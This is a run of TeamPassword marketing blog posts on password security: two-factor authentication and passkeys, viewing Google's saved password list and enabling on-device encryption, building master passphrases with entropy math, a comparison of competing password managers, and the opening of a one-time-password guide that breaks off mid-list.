Think of <a href="https://teampassword.com/blog/2fa-vs-mfa" rel="follow noopener" target="_blank">two-factor authentication</a> (2FA) as an extra set of eyes guarding your digital castle. It's like adding a deadbolt to your front door, making it significantly harder for intruders to break in.
By requiring an additional form of verification beyond your password, like a code sent to your phone or generated by an app, 2FA creates a formidable barrier against hackers. Even if they manage to crack your password, they'll still need access to your phone to bypass the second layer of security. It's like adding a moat around your digital castle &ndash; it might not be impenetrable, but it sure makes it a lot harder for attackers to get in.
Governmental agencies, banks, and enterprises&nbsp;<a target="_blank" href="https://www.okta.com/identity-101/which-industries-require-2fa/" rel="noopener">trust two-factor authentication</a> for optimized cybersecurity. Setting up the technology strengthens your passwords with an additional layer of protection against threats like AI password cracking since perpetrators must provide the unique one-time password (OTP) sent to a user&rsquo;s registered devices and email, on top of cracking a password.&nbsp;
<h3>Use a Password Manager Tool</h3>
A quality password manager tool enables your company to store, share, and replace strong passwords frictionlessly while preventing the risks of getting locked out.&nbsp;
TeamPassword&rsquo;s <a target="_blank" href="https://teampassword.com/features" rel="follow noopener">leading features</a>&nbsp;include group sharing for seamlessly managing multiple passwords across various departments and groups (and removing permissions when needed) and two-step verification synced to an authenticator for extra account protection. Plus, TeamPassword's password manager integrates with Google Sign-on, promoting&nbsp;<a target="_blank" href="https://teampassword.com/security" rel="noopener">safe collaborations</a>&nbsp;and convenient access for all of your authorized account users.
For a comprehensive look at password managers, check out our <a href="https://teampassword.com/blog/best-password-managers-for-teams" rel="follow noopener" target="_blank">top password managers for teams</a>.&nbsp;
<h2>The Rise of Passkeys (The "Passwordless" Future)</h2>
The single biggest development to add to this conversation is passkeys. The article focuses on protecting passwords, but the newest approach is to replace them entirely.
What they are: Passkeys are a new sign-in method, supported by Google, Apple, Microsoft, and many other major tech companies. For an in-depth look, see our guide on&nbsp;<a href="https://teampassword.com/blog/passkey-technology" rel="follow noopener" target="_blank">how passkey technology works</a>.
How they work: Instead of a password you type, a passkey uses a cryptographic key pair. Your private key is stored securely on your device (like your phone or computer), and the public key is stored by the website.
Why they're better:
<ul>
<li>Phishing-Resistant: You can't be "tricked" into typing your passkey on a fake website. The sign-in is tied directly to the real website's domain.</li>
<li>No "Weak" Passkeys: They are all, by default, incredibly long and complex cryptographic keys. An AI can't "guess" them.</li>
<li>No Leaks: Even if a company's database is breached, attackers only get the public keys, which are useless without your device's private key.</li>
<li>Convenient: You typically sign in using the same biometric (fingerprint/face) or PIN you use to unlock your device.</li>
</ul>
<h2>Stop Hackers in Their Tracks With TeamPassword</h2>
TeamPassword does not crack passwords or recover passwords. We are a password management solution for businesses.&nbsp;
As AI password cracking becomes more prevalent, organizations need robust password management solutions. TeamPassword offers a secure, user-friendly approach to safeguard your organization's sensitive data.
TeamPassword <a href="https://teampassword.com/features" rel="follow noopener" target="_blank">key features</a>:
<ul>
<li>Centralized Management: Consolidate all your team's passwords into one secure location for easy access and management.</li>
<li>Advanced Security: Employing cutting-edge encryption and security protocols, TeamPassword protects your passwords from even the most sophisticated cyber threats.</li>
<li>Flexible Sharing: Control who sees what with granular permissions, ensuring only authorized users can access specific passwords.</li>
<li>Streamlined Collaboration: Boost productivity by eliminating the hassle of sharing passwords via email or insecure messaging platforms.</li>
<li>Enhanced Audit Trails: Monitor password activity with detailed logs, ensuring accountability and detecting suspicious behavior.</li>
</ul>
Don't let weak passwords become your organization's downfall.&nbsp;<a target="_blank" href="https://app.teampassword.com/signup" rel="follow noopener">Sign up with TeamPassword today</a>&nbsp;and protect your accounts from the most sophisticated attacks.

AI is cracking passwords faster than ever. Learn how these advanced tools work and discover essential strategies to safeguard your accounts. Don't be a victim – protect yourself today.

AI is cracking passwords faster than ever. Learn how these advanced tools work and discover essential strategies to ...

AI Password Cracking: What to Know & How to Stay Safe

Google's password manager provides the convenience to create, store, and use our many account credentials. You can preview these credentials in your Google password list, allowing you to log in to accounts on other browsers or devices.
Most people use the Google password list to preview passwords to log into accounts using another browser or device. For example, if you reset your Facebook password using Chrome, the browser will save the new credentials for you&mdash;that's assuming you have Chrome's Offer to save passwords feature activated.
If you need to log into Facebook on your phone (but don't remember the new credentials), you'll need to go to your Google password list to find the new password you saved.
We'll show you how to find your Google password list, demonstrate why you'd want to avoid <a href="https://teampassword.com/blog/how-to-save-passwords-in-chrome-and-alternatives" rel="follow noopener" target="_blank">saving passwords to Chrome</a>, and recommend a <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">more secure password management solution</a>.
<h2 id="howtoview">How to View Google's Password List</h2>
<h4>Here are 3 steps to find and view your Google Password List on your web browser:</h4>
<ol>
<li>Sign-in to the Chrome browser using your Google account.</li>
<li>Click your profile icon &gt; click the Passwords and autofill. <img src="https://cdn.buttercms.com/46fzmk8SRaAp7mtHmVyJ" alt="Chrome profile icon passwords and autofill (1).webp" width="305" height="379">Alternatively, click the menu icon (three vertical dots) to the right of your profile pic, hover on Passwords and Autofill, and click Google Password Manager.</li>
<li>The Passwords tab shows you all Saved Passwords. Click to expand and see notes or make edits.&nbsp;</li>
</ol>
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In Settings, you can export your passwords.&nbsp;
<img src="https://cdn.buttercms.com/l0N9RlWoTdCqWS0pNc0V" alt="undefined" width="596" height="69">
Just be careful with this file, since it exports your passwords into plaintext.&nbsp;
<h4>How to find Google Password List on Android:</h4>
<ol>
<li>Open the Chrome app on your Android phone</li>
<li>Tap the three-dot menu icon in the top right corner</li>
<li>Tap Settings</li>
<li>Scroll down and tap on Google Password Manager</li>
<li>Tap Settings at the bottom</li>
</ol>
You can now see your list of saved credentials.&nbsp;
<h4>How to find Google Password List on iOS:</h4>
<ol>
<li>Open the Chrome app on your iPhone</li>
<li>Tap the&nbsp;horizontal three-dot menu in the top right corner</li>
<li>Tap on Password Manager. (You may need to scroll to find Settings first, depending on your app version).</li>
</ol>
<h2 id="howtoenable">How to Enable Google's Password Manager</h2>
Here is a step-by-step guide to&nbsp;enable Chrome to save your passwords using the browser's built-in password manager.&nbsp;
<ol>
<li style="font-weight: 400;" aria-level="1">Sign into the Chrome browser using your Google account to start.&nbsp;</li>
<li>Click your profile icon &gt; click the key symbol. Alternatively, click the menu icon (three vertical dots) to the right of your profile pic, hover on Passwords and Autofill, and click Google Password Manager.</li>
<li aria-level="1">Click Settings from the tabs on the left.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1">If you want to enable Google's password manager, make sure the toggle is on (illuminated blue) for Offer to save passwords.</li>
</ol>

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<h2 id="therisks">Is it safe to save passwords in your browser?</h2>
Saving passwords to the browser is easy and convenient. But, many people don't fully understand the cybersecurity risks these "password managers" pose.
While Chrome promises to encrypt your data before it leaves your device, they do not promise zero-knowledge or end-to-end encryption.&nbsp;Users can be socially engineered to download malicious browser extensions that capture data in Chrome. 
A dedicated password manager features advanced <a href="https://teampassword.com/blog/what-is-password-encryption-and-how-much-is-enough" rel="follow noopener" target="_blank">password encryption</a>, mitigating the risks of a data breach.
Browser password managers lack features like secure password sharing between families and colleagues, a variety of MFA options like hardware keys, or single sign-on (SSO) solutions. Additionally, if you switch browsers, your passwords won't be there. Most dedicated password managers work on all major browsers and operating systems.&nbsp;
If you want to continue using Chrome's password manager, you should at least <a href="https://support.google.com/accounts/answer/11350823?hl=en&amp;visit_id=637877049232061402-3698589533&amp;p=import-pws&amp;rd=1" rel="follow noopener" target="_blank">enable on-device encryption</a>. Chrome doesn't require it - and how many users know to look for that setting?&nbsp;
<h3>How to enable on-device encryption</h3>
<h4>Set up on-device encryption for your passwords on the Web</h4>
<div>
<ol>
<li>Go to&nbsp;<a target="_blank" rel="noopener" href="https://passwords.google.com/">passwords.google.com</a>.</li>
<li>Click Settings.&nbsp;</li>
<li>Under "On-Device Encryption," click&nbsp;Set up. <img src="https://cdn.buttercms.com/OVzwqcp2RniZ1KH9Hg4w" width="984" height="239"></li>
</ol>
</div>
<h4>Set up on-device encryption for your passwords on Chrome</h4>
<div>
<ol>
<li>In your Chrome browser, at the top right, select three dot menu &gt; Settings &gt; Autofill and passwords.</li>
<li>Tap&nbsp;Google Password Manager &gt; Settings &gt; On-device encryption.</li>
</ol>
</div>

<h2>How is a Password Manager Browser Extension Different?</h2>
Most password managers use browser extensions, but how is this different from saving passwords to a browser?
Firstly, a password manager doesn't save your passwords in the browser; it simply uses the browser extension like a key to authenticate you. For example, TeamPassword saves your encrypted credentials on a secure server, not in its browser extension!
A password manager browser extension requires a separate sign-in. If someone accesses your browser or device, they'll need different credentials to sign in to the password manager.&nbsp;
<a href="https://teampassword.com/blog/password-manager-with-2fa" rel="follow noopener" target="_blank">TeamPassword features two-factor authentication</a> (2FA) which can be set to "required" for all users in your TeamPassword organization, so even if someone steals your credentials, the second authentication method prevents them from logging in!
Lastly, browser password managers don't provide secure credential-sharing functionality, so you can't share <a href="https://teampassword.com/blog/how-to-safely-share-passwords-with-coworkers" rel="follow noopener" target="_blank">passwords safely with team members</a>.
If you're a freelancer, small business, multinational company or anyone in between, then you'll need a <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">password manager like TeamPassword</a>.
&rlm;&rlm;&lrm; &lrm;
<h2>Secure Password Management With TeamPassword</h2>
We built <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">TeamPassword</a> as a secure and affordable password management solution for small businesses and agencies to share passwords safely.
Many agencies still use browser password managers, spreadsheets, chat, or email to store and share passwords. All of these methods are <a href="https://teampassword.com/blog/the-risks-of-storing-your-passwords-in-google-sheets" rel="follow noopener" target="_blank">insecure and pose massive cybersecurity risks</a>.
We highly recommend you conduct a thorough <a href="https://teampassword.com/blog/how-to-audit-passwords" rel="follow noopener" target="_blank">security audit</a> for a clear picture of your company's cybersecurity vulnerabilities. A security audit will identify password issues and how to fix them.
If your company isn't using a password manager, then we highly recommend you start! You only have to read about the latest data breaches to learn that most cyberattacks happen due to poor credential practices.
Here's how TeamPassword's security features can help secure your company's digital assets.
<h4>Secure Credential Sharing &amp; Authentication</h4>
TeamPassword's strongest feature is its ability to share passwords securely. Something your browser cannot do!
Set up groups for different departments, accounts, clients, or teams, for example. Instead of sharing raw passwords, you invite team members to your TeamPassword groups so they can access credentials and log in.
Each team member can also save private credentials in TeamPassword that they don't need to share&mdash;like Slack, email, Asana, etc. Passwords they would usually save in the browser!
You can also share access with freelancers and contractors in TeamPassword. Add these individuals to the groups or accounts where they need access, and remove them when the job is done. No need to change credentials every time someone leaves the team!
<h4>TeamPassword's Secure Browser Extensions &amp; App</h4>
Your employees can log into shared accounts using one of TeamPassword's browser extensions (Chrome, Firefox, Safari) or our mobile app (iOS &amp; Android).
When a team member visits one of your websites or apps, the browser extension will provide the credentials to log in. If you have multiple accounts, you simply click the one you need.&nbsp;
For example, if your company manages multiple Twitter accounts when a team member lands on the Twitter login, TeamPassword will show a list of available credentials.
Employees can also use the TeamPassword app to log into mobile applications. They open TeamPassword, find the credentials they need, and copy/paste the username and password to log in.
<h4>Built-In Password Manager</h4>
TeamPassword's built-in <a href="https://teampassword.com/password-generator" rel="follow noopener" target="_blank">password generator</a> lets you create secure, unique passwords with a single click. Copy this new password to the application's password field and save!
TeamPassword will automatically update any new passwords for all users so team members can continue working without disruption.
You can also use TeamPassword's password generator to create <a href="https://teampassword.com/blog/best-types-of-usernames-username-ideas-to-make-your-logins-more-secure" rel="follow noopener" target="_blank">unique usernames</a>, adding an extra layer of security to your credentials!
<h4>Two-Factor Authentication (2FA)</h4>
TeamPassword uses the authenticator app of your choice such as Google Authenticator or Authy (iOS &amp; Android) to provide <a href="https://teampassword.com/blog/2fa-vs-mfa" rel="follow noopener" target="_blank">two-factor authentication</a> for each team member's account. 2FA provides a second authentication step, so even if a criminal steals an employee's TeamPassword credentials, they won't get past the second step!
<h4>Keeping Track of TeamPassword Activity</h4>
Activity Logs are another feature missing from browser password managers. TeamPassword's activity log shows admins when a user viewed, edited, shared, or created a record.
Additionally, you can set up email notifications for your most sensitive data and accounts. With instant alerts, you can get ahead of security breaches!
<h4>How Safe is TeamPassword's Password Manager?</h4>
TeamPassword <a href="https://teampassword.com/security" rel="follow noopener" target="_blank">industry-standard encryption technology</a> to store your company's passwords. We hash, salt, and encrypt data locally on your PC before uploading passwords to our servers. TeamPassword can never view the contents of your records.&nbsp;
<img src="https://cdn.buttercms.com/2E1SBkO9QNa8f94LkvZC" alt="TeamPassword SOC 2 certified.png" width="630" height="630">

TeamPassword also conducts regular security audits and vulnerability sweeps to ensure its systems are malware and virus-free.&nbsp;
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<h2>Getting Started With TeamPassword</h2>
Try TeamPassword for free for 14 days to see if our password manager meets your company's needs. Here's how to get started in five easy steps:
<ol>
<li style="font-weight: 400;" aria-level="1"><a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Sign up for a free TeamPassword trial</a></li>
<li style="font-weight: 400;" aria-level="1">Create groups for your different teams</li>
<li style="font-weight: 400;" aria-level="1">Invite team members (including clients and freelancers) to TeamPassword</li>
<li style="font-weight: 400;" aria-level="1">Add your company's credentials (you can also bulk import a CSV file or copy/paste using TeamPassword's importer.)</li>
<li style="font-weight: 400;" aria-level="1">Team members install the TeamPassword browser extension of their choice and log in to your company accounts&mdash;EASY!</li>
</ol>
Stop employees from saving passwords in the browser and switch to a secure password manager. Create stronger passwords and share credentials securely with TeamPassword.&nbsp;

How to find your Google Password List, and why using a password manager like TeamPassword is much safer than saving passwords in Chrome.

How to find your Google Password List, and why using a password manager like TeamPassword is much safer ...

How to Find my Google Password List

A master password is a single, powerful password that unlocks your entire digital life. In the context of a password manager, it&rsquo;s the one and only password you need to remember. It acts as the key to a secure, encrypted vault where all your other account credentials are safely stored.
Here&rsquo;s the simple but powerful concept:
<ol>
<li>You create one single, incredibly strong master password.</li>
<li>Your password manager uses this password to encrypt and lock a vault containing all your logins for different websites and apps.</li>
<li>To access any of your accounts, you simply unlock the vault with your master password.</li>
</ol>
This system allows you to use unique, complex, and uncrackable passwords for every single service&mdash;like <code>8#pT$z@L7^k!qW5*</code> for your <a href="https://teampassword.com/blog/how-to-store-client-social-media-passwords-correctly" rel="follow noopener" target="_blank">social media</a> and <code>G9sV&amp;bN2@cE4hF!p</code> for your email&mdash;without the impossible task of memorizing them all.
<h2>How to Create a Truly Secure Master Password</h2>

Your master password is the key to your kingdom, so it needs to be exceptionally strong. While a <a href="https://teampassword.com/password-generator" rel="follow noopener" target="_blank">password generator</a> is great for individual accounts, you need to memorize this one. The best way to do this is by creating a passphrase.
A passphrase is a sequence of words that is long, easy for you to remember, but statistically difficult for a computer to guess.
Good Passphrase Example:
<ul>
<li>
<code>frog-yellowish-stranger-Timestamp</code>
</li>
</ul>
This passphrase is 33 characters long. Even though it doesn't have a huge variety of special characters, its length alone makes it incredibly secure. The combination of length and complexity provides an exponential increase in security. Think of it this way: every character you add makes the password exponentially harder to crack through brute force. A good target is a password with an entropy of over 100 bits, which this example easily surpasses.
Tips for a Strong Passphrase:
<ul>
<li>
Make it Long: Aim for at least 4-5 unrelated words. Length is your greatest defense.
</li>
<li>
Be Random: Avoid famous quotes, song lyrics, or logical sentences. <code>the-windmills-of-your-mind</code> is a terrible passphrase because it&rsquo;s a well-known phrase found in dictionaries and on the web.
</li>
<li>
Mix it Up: Add a mix of uppercase letters, numbers, and symbols to increase its complexity even further. For example: <code>Frog-Yellowish-Stranger-Timestamp1!</code>
</li>
</ul>
Increasing the length and complexity provides an exponential increase in security.&nbsp;
To calculate entropy, we use the formula:
<math xmlns="http://www.w3.org/1998/Math/MathML">
 <mrow>
 <mi>H</mi>
 <mo>=</mo>
 <mi>L</mi>
 <mo>×</mo>
 <msub>
 <mrow>
 <mi>log</mi>
 <mo>⁡</mo>
 </mrow>
 <mn>2</mn>
 </msub>
 <mo stretchy="false">(</mo>
 <mi>N</mi>
 <mo stretchy="false">)</mo>
 </mrow>H = L \times \log_2(N)
 </math>H=L&times;log2​(N)
where:
<ul>
<li><math xmlns="http://www.w3.org/1998/Math/MathML">
 <mrow>
 <mi>H</mi>
 </mrow>H
 </math> is the entropy in bits,</li>
<li><math xmlns="http://www.w3.org/1998/Math/MathML">
 <mrow>
 <mi>L</mi>
 </mrow>L
 </math> is the length of the password,</li>
<li><math xmlns="http://www.w3.org/1998/Math/MathML">
 <mrow>
 <mi>N</mi>
 </mrow>N
 </math> is the number of possible symbols for each character in the password (character set size).</li>
</ul>
For example:
<ul>
<li>If a password consists only of lowercase letters (26 characters), <math xmlns="http://www.w3.org/1998/Math/MathML">
 <mrow>
 <mi>N</mi>
 <mo>=</mo>
 <mn>26</mn>
 </mrow>N = 26
 </math>.</li>
<li>If a password includes lowercase and uppercase letters (52 characters), <math xmlns="http://www.w3.org/1998/Math/MathML">
 <mrow>
 <mi>N</mi>
 <mo>=</mo>
 <mn>52</mn>
 </mrow>N = 52
 </math>.</li>
<li>If a password includes lowercase, uppercase letters, and digits (62 characters), <math xmlns="http://www.w3.org/1998/Math/MathML">
 <mrow>
 <mi>N</mi>
 <mo>=</mo>
 <mn>62</mn>
 </mrow>N = 62
 </math>.</li>
<li>If a password includes lowercase, uppercase letters, digits, and special characters (let's assume 32 special characters), <math xmlns="http://www.w3.org/1998/Math/MathML">
 <mrow>
 <mi>N</mi>
 <mo>=</mo>
 <mn>94</mn>
 </mrow>N = 94
 </math>.</li>
</ul>
<img src="https://cdn.buttercms.com/2HiJREcRg6yN10QaKAr6" alt="The relation between password length and entropy in bits, plotted on an x/y axis. " width="608" height="365">
The effects of password length (X-axis) and complexity (four colored lines) on Entropy in bits (Y-axis)
<h3>Why Every Team Needs a Password Manager</h3>

In a business environment, managing passwords is a critical security challenge. Relying on <a href="https://teampassword.com/blog/the-risks-of-storing-your-passwords-in-google-sheets" rel="follow noopener" target="_blank">spreadsheets</a>, shared documents, or&mdash;even worse&mdash;password reuse is a disaster waiting to happen.
<ul>
<li>
Insecure Sharing: Emailing or messaging passwords exposes them to interception.
</li>
<li>
Employee Turnover: When an employee leaves, you face the nightmare of changing dozens of shared passwords and ensuring they haven't retained access.
</li>
<li>
Weak Passwords: Without a system, employees often default to simple, reusable passwords, making your entire organization vulnerable if just one account is breached.
</li>
</ul>
A password manager solves these problems by creating a centralized, secure system for storing and sharing credentials. When access is controlled by a tool like <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">TeamPassword</a>, you can grant or revoke access to any login with a single click, ensuring your data remains secure.

<h2>How TeamPassword Uses Your Master Password to Secure Your Data</h2>
Understanding how a password manager protects you is crucial for building trust. At <a href="https://teampassword.com" rel="follow noopener" target="_blank">TeamPassword</a>, we operate on a zero-knowledge security architecture. In simple terms, this means we never know your master password, and we can never access your stored credentials.
Here&rsquo;s how it works:
<ol start="1">
<li>
When you enter your master password, it is hashed, salted, and used as an encryption key locally on your computer.
</li>
<li>
Your vault of passwords is encrypted on your device before it is ever transmitted to our servers.
</li>
<li>
The data stored on our servers is the encrypted version, which is essentially unreadable gibberish without the key.
</li>
</ol>
Your master password is the only key that can unlock it. This method ensures that even in the unlikely event of a breach of our servers, your credentials remain safe and encrypted. We can&rsquo;t see them, and neither can an attacker.
<h3>Choosing the Right Password Manager for Your Team</h3>
At TeamPassword, we're confident that we have the most secure and user-friendly password manager, so we don't mind sharing some of our competitors.
<ul>
<li aria-level="1"><a href="https://teampassword.com/blog/1password-alternatives" rel="follow noopener" target="_blank">1Password</a> - An effective password management solution. Too complex for some use cases, expensive, and limited customer support.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1"><a href="https://teampassword.com/blog/lastpass-alternative" rel="follow noopener" target="_blank">LastPass</a> - If you're not tech-savvy, LastPass can be difficult to learn. Additionally, LastPass <a href="https://krebsonsecurity.com/2023/09/experts-fear-crooks-are-cracking-keys-stolen-in-lastpass-breach/" rel="follow noopener" target="_blank">suffered a series of concerning breaches</a>. Security experts do not recommend them.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1"><a href="https://teampassword.com/blog/dashlane-alternatives" rel="follow noopener" target="_blank">DashLane</a> is one of the most popular password managers for personal and family use and one of the most expensive.&nbsp;</li>
</ul>
TeamPassword has no limits on the number of passwords or accounts you can store!

<table style="width: 100%; height: 285.938px; border-collapse: collapse; border-spacing: 4px; border: 1px solid #000000;" border="1">
<thead>
<tr style="height: 34.5938px;">
<th style="width: 11.073%; padding: 5px; border-color: #000000; border-width: 1px;">Feature</th>
<th style="width: 32.1888%; padding: 5px; border-color: #000000; border-width: 1px;">TeamPassword</th>
<th style="width: 26.3519%; padding: 5px; border-color: #000000; border-width: 1px;">1Password</th>
<th style="width: 30.3863%; padding: 5px; border-color: #000000; border-width: 1px;">LastPass</th>
</tr>
</thead>
<tbody>
<tr style="height: 34.5938px;">
<th style="width: 11.073%; padding: 5px; border-color: #000000; border-width: 1px;">Primary Focus</th>
<td style="width: 32.1888%; padding: 5px; border-color: #000000; border-width: 1px;">Teams &amp; Businesses</td>
<td style="width: 26.3519%; padding: 5px; border-color: #000000; border-width: 1px;">Individuals &amp; Enterprise</td>
<td style="width: 30.3863%; padding: 5px; border-color: #000000; border-width: 1px;">Individuals and Enterprise</td>
</tr>
<tr style="height: 54.1875px;">
<th style="width: 11.073%; padding: 5px; border-color: #000000; border-width: 1px;">Ease of Use</th>
<td style="width: 32.1888%; padding: 5px; border-color: #000000; border-width: 1px;">Designed for simplicity and fast onboarding.</td>
<td style="width: 26.3519%; padding: 5px; border-color: #000000; border-width: 1px;">Powerful, but can be complex for new users.</td>
<td style="width: 30.3863%; padding: 5px; border-color: #000000; border-width: 1px;">Feature-rich, but often cited for a steeper learning curve.</td>
</tr>
<tr style="height: 54.1875px;">
<th style="width: 11.073%; padding: 5px; border-color: #000000; border-width: 1px;">Sharing</th>
<td style="width: 32.1888%; padding: 5px; border-color: #000000; border-width: 1px;">Simple, group-based sharing. Grant/revoke access in seconds.</td>
<td style="width: 26.3519%; padding: 5px; border-color: #000000; border-width: 1px;">Robust sharing features with granular controls.</td>
<td style="width: 30.3863%; padding: 5px; border-color: #000000; border-width: 1px;">Comprehensive sharing, but can be complex to manage.</td>
</tr>
<tr style="height: 54.1875px;">
<th style="width: 11.073%; padding: 5px; border-color: #000000; border-width: 1px;">Security Model</th>
<td style="width: 32.1888%; padding: 5px; border-color: #000000; border-width: 1px;">Zero-Knowledge Architecture with AES 256-bit encryption.</td>
<td style="width: 26.3519%; padding: 5px; border-color: #000000; border-width: 1px;">Zero-Knowledge Architecture with AES 256-bit encryption.</td>
<td style="width: 30.3863%; padding: 5px; border-color: #000000; border-width: 1px;">Has suffered several high-profile security breaches in the past.</td>
</tr>
<tr style="height: 54.1875px;">
<th style="width: 11.073%; padding: 5px; border-color: #000000; border-width: 1px;">Browser Integration</th>
<td style="width: 32.1888%; padding: 5px; border-color: #000000; border-width: 1px;">Lightweight extensions for Chrome, Firefox, &amp; Safari that just work.</td>
<td style="width: 26.3519%; padding: 5px; border-color: #000000; border-width: 1px;">Excellent browser integration and autofill capabilities.</td>
<td style="width: 30.3863%; padding: 5px; border-color: #000000; border-width: 1px;">Full-featured browser extensions.</td>
</tr>
</tbody>
</table>

While the Master Password is a core concept, not all password managers are created equal, especially when it comes to team functionality.
While tools like 1Password and Dashlane are excellent for individuals or families, they can introduce complexity for teams who just need a fast, secure, and intuitive way to share logins. TeamPassword is built from the ground up to do one thing perfectly: make password management for teams simple and secure.
<h2><a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Try TeamPassword for Free</a></h2>
The only master password you need is for your TeamPassword account!
Gain complete control and peace of mind with robust features designed for team collaboration:
<ul>
<li>
<a href="https://teampassword.com/blog/teampassword-totp-authenticator" rel="follow noopener" target="_blank">Integrated TOTP Authenticator</a>: Generate time-based one-time passcodes directly within TeamPassword, eliminating the need for separate authenticator apps on your phone.
</li>
<li>
Enforceable 2FA: Mandate two-factor authentication for every user across your organization, ensuring a consistent and high standard of security.
</li>
<li>
Detailed Activity Logs: Maintain full visibility with a complete audit trail of who accessed what and when, perfect for security audits and accountability.
</li>
<li>
Unlimited Records &amp; Groups: Store an infinite number of logins and organize them into logical groups by team, project, or client for easy access and management.
</li>
<li>
Multiple User-Roles: Assign granular permissions to control exactly who can view, edit, and create credentials, ensuring access is granted only where it's needed.
</li>
<li>
Free Google Sign-In: Simplify onboarding and daily access with secure, one-click login using your team's existing Google accounts.
</li>
<li>
One-Time Share: Securely share a single password with an external contractor or partner for a limited time, without giving them permanent access to your records.
</li>
</ul>
With straightforward plans starting at just $2.41 per user per month, TeamPassword is the most effective and affordable way to protect your business.&nbsp;
<a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Sign up for a 14-day free trial today</a>!
&rlm;&rlm;&lrm; &lrm;

What is a master password, and why do you need a password manager? How can you protect your credentials from cybercriminals?

Learn what a master password is and why it's the most critical tool for your team's security. Discover ...

What Is a Master Password and Why Your Team Needs One

Learn what a master password is and why it's the most critical tool for your team's security. Discover how to create an uncrackable passphrase to protect your data.

Static passwords, long the default gatekeepers of digital access, have become a significant liability for modern organizations. Their susceptibility to <a href="https://teampassword.com/blog/spear-phishing" rel="follow noopener" target="_blank">phishing</a>, <a href="https://teampassword.com/blog/appletree-to-anarchy-credential-stuffing" rel="follow noopener" target="_blank">credential stuffing</a>, and brute-force attacks necessitates a more dynamic and robust approach to authentication. <a href="https://teampassword.com/blog/one-time-passwords-vs-two-factor-authentication" rel="follow noopener" target="_blank">One-Time Passwords</a> (OTPs) offer a powerful solution, but their effectiveness is not absolute. A successful implementation requires a deep understanding of the underlying technology, its role within a comprehensive security framework, and its inherent vulnerabilities.
This guide provides a definitive overview of OTPs for business leaders and IT professionals. We will move beyond basic definitions to explore the core mechanics, contextualize OTPs within Multi-Factor Authentication (MFA), analyze the security of various delivery methods, and outline actionable best practices for secure deployment.

<h2>What is a One-Time Password? The Core Mechanics</h2>

A One-Time Password is a credential that is valid for only one login session or a brief period. Its primary function is to neutralize the threat of replay attacks, where an adversary intercepts a credential and attempts to reuse it. Since an OTP expires after use or within seconds, an intercepted code is rendered useless.
This dynamic generation is typically governed by one of two industry-standard algorithms:
<ul>
<li>
HMAC-Based One-Time Password (HOTP): Defined in <response-element ng-version="0.0.0-PLACEHOLDER"></response-element><a href="https://www.rfc-editor.org/rfc/rfc4226" jslog="197247;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_3c28987a25052877&quot;,&quot;c_6a5f7657ee6c5eaf&quot;,null,&quot;rc_ca9dbc1f80d778f9&quot;,null,null,&quot;en&quot;,null,1,null,null,1,0]]" _nghost-ng-c2323008033="" externallink="" rel="noopener" target="_blank" _ngcontent-ng-c1316485290="">RFC 4226</a><response-element ng-version="0.0.0-PLACEHOLDER"><link-block _nghost-ng-c1316485290=""></link-block></response-element>, HOTP generates codes using a cryptographic hash function (HMAC) combined with a secret key (known only to the server and the user's device) and a moving counter. The counter increments with each new password request, ensuring a unique code is generated each time.
</li>
<li>
Time-Based One-Time Password (TOTP): The more common standard, defined in <response-element ng-version="0.0.0-PLACEHOLDER"></response-element><a href="https://www.rfc-editor.org/rfc/rfc6238" jslog="197247;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_3c28987a25052877&quot;,&quot;c_6a5f7657ee6c5eaf&quot;,null,&quot;rc_ca9dbc1f80d778f9&quot;,null,null,&quot;en&quot;,null,1,null,null,1,0]]" _nghost-ng-c2323008033="" externallink="" rel="noopener" target="_blank" _ngcontent-ng-c1316485290="">RFC 6238</a><response-element ng-version="0.0.0-PLACEHOLDER"><link-block _nghost-ng-c1316485290=""></link-block></response-element>, is an evolution of HOTP. Instead of a simple counter, TOTP uses the current time as the moving factor. The server and the user's authenticator app or hardware token share a secret key and generate the same code based on the current time slice (typically 30 or 60 seconds). This is the technology powering most authenticator apps.
</li>
</ul>

<h2>Positioning OTPs Correctly: A Component of MFA, Not a Competitor</h2>
<img src="https://cdn.buttercms.com/WXnEk5LmRei3eVGFV20A" alt="undefined" width="851" height="532">
A frequent point of confusion is the relationship between OTP, 2FA, and MFA. They are not competing options; rather, OTP is a method used to achieve 2FA or MFA.
Authentication is built upon verifying one or more "factors" of identity:
<ol start="1">
<li>
Knowledge Factor: Something you know (e.g., a password, a PIN).
</li>
<li>
Possession Factor: Something you have (e.g., a smartphone with an authenticator app, a hardware security key).
</li>
<li>
Inherence Factor: Something you are (e.g., a fingerprint, facial recognition).
</li>
</ol>
Two-Factor Authentication (2FA) requires two of these factors. Multi-Factor Authentication (MFA) requires two or more.
An OTP delivered to a device serves as a possession factor. When a user enters their password (knowledge) and then their OTP from a phone app (possession), they have completed a 2FA/MFA process. Therefore, the strategic discussion is not about choosing between OTP and MFA, but about how to best leverage OTPs as part of a mandatory MFA policy.

<h2>OTP Delivery Channels: A Security Analysis</h2>
<img src="https://cdn.buttercms.com/xGFZviPQyWBPItsUl0WO" alt="Slack magic code verification.webp" width="543" height="359">
The security of an OTP system is only as strong as its delivery channel. Each method carries a distinct risk profile that must be carefully evaluated.
SMS and Voice Calls Once the standard for consumer-facing 2FA, SMS-based OTPs are now considered a high-risk channel for sensitive applications. The U.S. National Institute of Standards and Technology (NIST) advises against their use in its Digital Identity Guidelines (<response-element ng-version="0.0.0-PLACEHOLDER"></response-element><a href="https://pages.nist.gov/800-63-3/sp800-63b.html" jslog="197247;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_3c28987a25052877&quot;,&quot;c_6a5f7657ee6c5eaf&quot;,null,&quot;rc_ca9dbc1f80d778f9&quot;,null,null,&quot;en&quot;,null,1,null,null,1,0]]" _nghost-ng-c2323008033="" externallink="" rel="noopener" target="_blank" _ngcontent-ng-c1316485290="">NIST SP 800-63B</a><response-element ng-version="0.0.0-PLACEHOLDER"><link-block _nghost-ng-c1316485290=""></link-block></response-element>).
<ul>
<li>
